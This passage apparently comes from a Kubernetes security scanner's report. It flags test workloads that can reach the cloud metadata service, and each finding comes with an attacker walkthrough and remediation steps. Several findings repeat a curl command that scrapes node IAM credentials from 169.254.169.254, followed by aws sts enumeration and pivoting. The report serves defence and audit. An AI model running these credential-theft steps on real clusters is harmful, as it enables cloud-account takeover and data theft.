  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec psa-priv-app -n psa-suppressed -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"psa-priv-app"
workload_namespace
"psa-suppressed"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "psa-priv-app",
  "workload_namespace": "psa-suppressed"
}
HIGH Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Workload 7.8
Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app uses hostNetwork: true, so 169.254.169.254 (cloud IMDS) is reachable regardless of NetworkPolicy
Scope · Workload Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Namespace: psa-unlabeled-fixtures

Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app runs in namespace psa-unlabeled-fixtures with spec.hostNetwork: true, which means its pods share the node's network namespace. NetworkPolicies do not apply to host-network pods (they operate on the pod's own netns), so any egress restriction defined in this namespace is bypassed. The pod can open connections to 169.254.169.254 exactly as if it were running on the node directly.

hostNetwork is commonly enabled for cluster infrastructure: CNI agents, monitoring daemons (node-exporter, Datadog Agent), log shippers, ingress controllers. These workloads usually need it, but they also become the highest-value pivot targets in the cluster because they sit on the node IAM identity with no NetPol gating.

The NetworkPolicy-layer defense does not exist for these pods. The only defenses are (a) keep their image surface area and RBAC tight so the pod is hard to compromise, (b) on AWS set IMDSv2 hop-limit = 1 at the nodegroup so even host-network requests through the node's NIC are denied at the hypervisor, and (c) where the workload truly does not need cloud credentials, drop hostNetwork: true in favor of a host-network-less alternative.

Impact A compromised host-network pod inherits the node's IMDS reachability with zero NetworkPolicy enforcement; container RCE -> cloud-account compromise is a single curl, even when the namespace looks tightly locked down.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app (host-network pod, often a monitoring sidecar or CNI helper).
  2. They issue curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ from inside the pod. The request is served by the node's network stack, not the pod's, so any namespace-level egress NetworkPolicy is irrelevant.
  3. They scrape the node IAM role's STS credentials and call aws sts get-caller-identity to enumerate reach.
  4. They pivot into the cloud account: list other clusters' worker-node roles, read RDS secrets, enumerate S3 buckets, depending on the node IAM scope.
  5. The operator's NetworkPolicy is intact in kubectl get netpol and looks correct in dashboards, masking that this specific workload is exempt.
Remediation
NetworkPolicy cannot gate host-network pods. Drop hostNetwork: true if the workload does not strictly require it, otherwise enforce IMDSv2 hop-limit = 1 at the nodegroup so the IAM credentials path is denied at the hypervisor.
  1. Audit why Deployment/psa-unlabeled-fixtures/psa-unlabeled-app needs hostNetwork: true. Common reasons (CNI helper, host-port log shipper) are legitimate; most application workloads do not.
  2. If hostNetwork is not strictly required, remove it from the pod template and re-deploy under namespace-level NetworkPolicy controls.
  3. If hostNetwork must stay, on AWS set the launch-template HttpPutResponseHopLimit = 1 for the EKS nodegroup so IMDSv2 token requests originating from host-network pods are denied at the hypervisor (PacketTTL = 1 prevents the second hop the token request needs).
  4. Bind the workload's ServiceAccount to a least-privileged IRSA role so it never needs to fall back to the node IAM role.
  5. Validate from inside the pod: kubectl exec psa-unlabeled-app -n psa-unlabeled-fixtures -- curl --max-time 3 http://169.254.169.254/latest/meta-data/iam/security-credentials/ must time out (it will succeed today).
Evidence
reason
"host-network"
workload_kind
"Deployment"
workload_name
"psa-unlabeled-app"
workload_namespace
"psa-unlabeled-fixtures"
Show raw JSON
{
  "reason": "host-network",
  "workload_kind": "Deployment",
  "workload_name": "psa-unlabeled-app",
  "workload_namespace": "psa-unlabeled-fixtures"
}
HIGH Deployment/pv-hostpath-fixtures/pv-hostpath-app Workload 7.8
Workload Deployment/pv-hostpath-fixtures/pv-hostpath-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/pv-hostpath-fixtures/pv-hostpath-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/pv-hostpath-fixtures/pv-hostpath-app Namespace: pv-hostpath-fixtures

Workload Deployment/pv-hostpath-fixtures/pv-hostpath-app runs in namespace pv-hostpath-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/pv-hostpath-fixtures/pv-hostpath-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in pv-hostpath-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec pv-hostpath-app -n pv-hostpath-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"pv-hostpath-app"
workload_namespace
"pv-hostpath-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "pv-hostpath-app",
  "workload_namespace": "pv-hostpath-fixtures"
}
HIGH Deployment/rbac-fixtures/imp-app Workload 7.8
Workload Deployment/rbac-fixtures/imp-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/rbac-fixtures/imp-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/rbac-fixtures/imp-app Namespace: rbac-fixtures

Workload Deployment/rbac-fixtures/imp-app runs in namespace rbac-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/rbac-fixtures/imp-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in rbac-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec imp-app -n rbac-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"imp-app"
workload_namespace
"rbac-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "imp-app",
  "workload_namespace": "rbac-fixtures"
}
HIGH Deployment/rbac-fixtures/wildcard-app Workload 7.8
Workload Deployment/rbac-fixtures/wildcard-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/rbac-fixtures/wildcard-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/rbac-fixtures/wildcard-app Namespace: rbac-fixtures

Workload Deployment/rbac-fixtures/wildcard-app runs in namespace rbac-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/rbac-fixtures/wildcard-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in rbac-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec wildcard-app -n rbac-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"wildcard-app"
workload_namespace
"rbac-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "wildcard-app",
  "workload_namespace": "rbac-fixtures"
}
HIGH Deployment/secrets-bundle/cross-ns-consumer Workload 7.8
Workload Deployment/secrets-bundle/cross-ns-consumer has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/secrets-bundle/cross-ns-consumer: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/secrets-bundle/cross-ns-consumer Namespace: secrets-bundle

Workload Deployment/secrets-bundle/cross-ns-consumer runs in namespace secrets-bundle and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/secrets-bundle/cross-ns-consumer via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in secrets-bundle (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec cross-ns-consumer -n secrets-bundle -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"cross-ns-consumer"
workload_namespace
"secrets-bundle"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "cross-ns-consumer",
  "workload_namespace": "secrets-bundle"
}
HIGH Deployment/vulnerable/generic-hostpath-app Workload 7.8
Workload Deployment/vulnerable/generic-hostpath-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Workload Deployment/vulnerable/generic-hostpath-app runs in namespace vulnerable and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/vulnerable/generic-hostpath-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in vulnerable (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec generic-hostpath-app -n vulnerable -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"generic-hostpath-app"
workload_namespace
"vulnerable"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "generic-hostpath-app",
  "workload_namespace": "vulnerable"
}
HIGH Deployment/vulnerable/host-ns-app Workload 7.8
Workload Deployment/vulnerable/host-ns-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/vulnerable/host-ns-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Workload Deployment/vulnerable/host-ns-app runs in namespace vulnerable and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/vulnerable/host-ns-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in vulnerable (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec host-ns-app -n vulnerable -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"host-ns-app"
workload_namespace
"vulnerable"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "host-ns-app",
  "workload_namespace": "vulnerable"
}
HIGH Deployment/vulnerable/risky-app Workload 7.8
Workload Deployment/vulnerable/risky-app uses hostNetwork: true, so 169.254.169.254 (cloud IMDS) is reachable regardless of NetworkPolicy
Scope · Workload Workload Deployment/vulnerable/risky-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Workload Deployment/vulnerable/risky-app runs in namespace vulnerable with spec.hostNetwork: true, which means its pods share the node's network namespace. NetworkPolicies do not apply to host-network pods (they operate on the pod's own netns), so any egress restriction defined in this namespace is bypassed. The pod can open connections to 169.254.169.254 exactly as if it were running on the node directly.

hostNetwork is commonly enabled for cluster infrastructure: CNI agents, monitoring daemons (node-exporter, Datadog Agent), log shippers, ingress controllers. These workloads usually need it, but they also become the highest-value pivot targets in the cluster because they sit on the node IAM identity with no NetPol gating.

The NetworkPolicy-layer defense does not exist for these pods. The only defenses are (a) keep their image surface area and RBAC tight so the pod is hard to compromise, (b) on AWS set IMDSv2 hop-limit = 1 at the nodegroup so even host-network requests through the node's NIC are denied at the hypervisor, and (c) where the workload truly does not need cloud credentials, drop hostNetwork: true in favor of a host-network-less alternative.

Impact A compromised host-network pod inherits the node's IMDS reachability with zero NetworkPolicy enforcement; container RCE -> cloud-account compromise is a single curl, even when the namespace looks tightly locked down.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/vulnerable/risky-app (host-network pod, often a monitoring sidecar or CNI helper).
  2. They issue curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ from inside the pod. The request is served by the node's network stack, not the pod's, so any namespace-level egress NetworkPolicy is irrelevant.
  3. They scrape the node IAM role's STS credentials and call aws sts get-caller-identity to enumerate reach.
  4. They pivot into the cloud account: list other clusters' worker-node roles, read RDS secrets, enumerate S3 buckets, depending on the node IAM scope.
  5. The operator's NetworkPolicy is intact in kubectl get netpol and looks correct in dashboards, masking that this specific workload is exempt.
Remediation
NetworkPolicy cannot gate host-network pods. Drop hostNetwork: true if the workload does not strictly require it, otherwise enforce IMDSv2 hop-limit = 1 at the nodegroup so the IAM credentials path is denied at the hypervisor.
  1. Audit why Deployment/vulnerable/risky-app needs hostNetwork: true. Common reasons (CNI helper, host-port log shipper) are legitimate; most application workloads do not.
  2. If hostNetwork is not strictly required, remove it from the pod template and re-deploy under namespace-level NetworkPolicy controls.
  3. If hostNetwork must stay, on AWS set the launch-template HttpPutResponseHopLimit = 1 for the EKS nodegroup so IMDSv2 token requests originating from host-network pods are denied at the hypervisor (PacketTTL = 1 prevents the second hop the token request needs).
  4. Bind the workload's ServiceAccount to a least-privileged IRSA role so it never needs to fall back to the node IAM role.
  5. Validate from inside the pod: kubectl exec risky-app -n vulnerable -- curl --max-time 3 http://169.254.169.254/latest/meta-data/iam/security-credentials/ must time out (it will succeed today).
Evidence
reason
"host-network"
workload_kind
"Deployment"
workload_name
"risky-app"
workload_namespace
"vulnerable"
Show raw JSON
{
  "reason": "host-network",
  "workload_kind": "Deployment",
  "workload_name": "risky-app",
  "workload_namespace": "vulnerable"
}
HIGH Deployment/vulnerable/root-runner Workload 7.8
Workload Deployment/vulnerable/root-runner has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/vulnerable/root-runner: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Workload Deployment/vulnerable/root-runner runs in namespace vulnerable and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

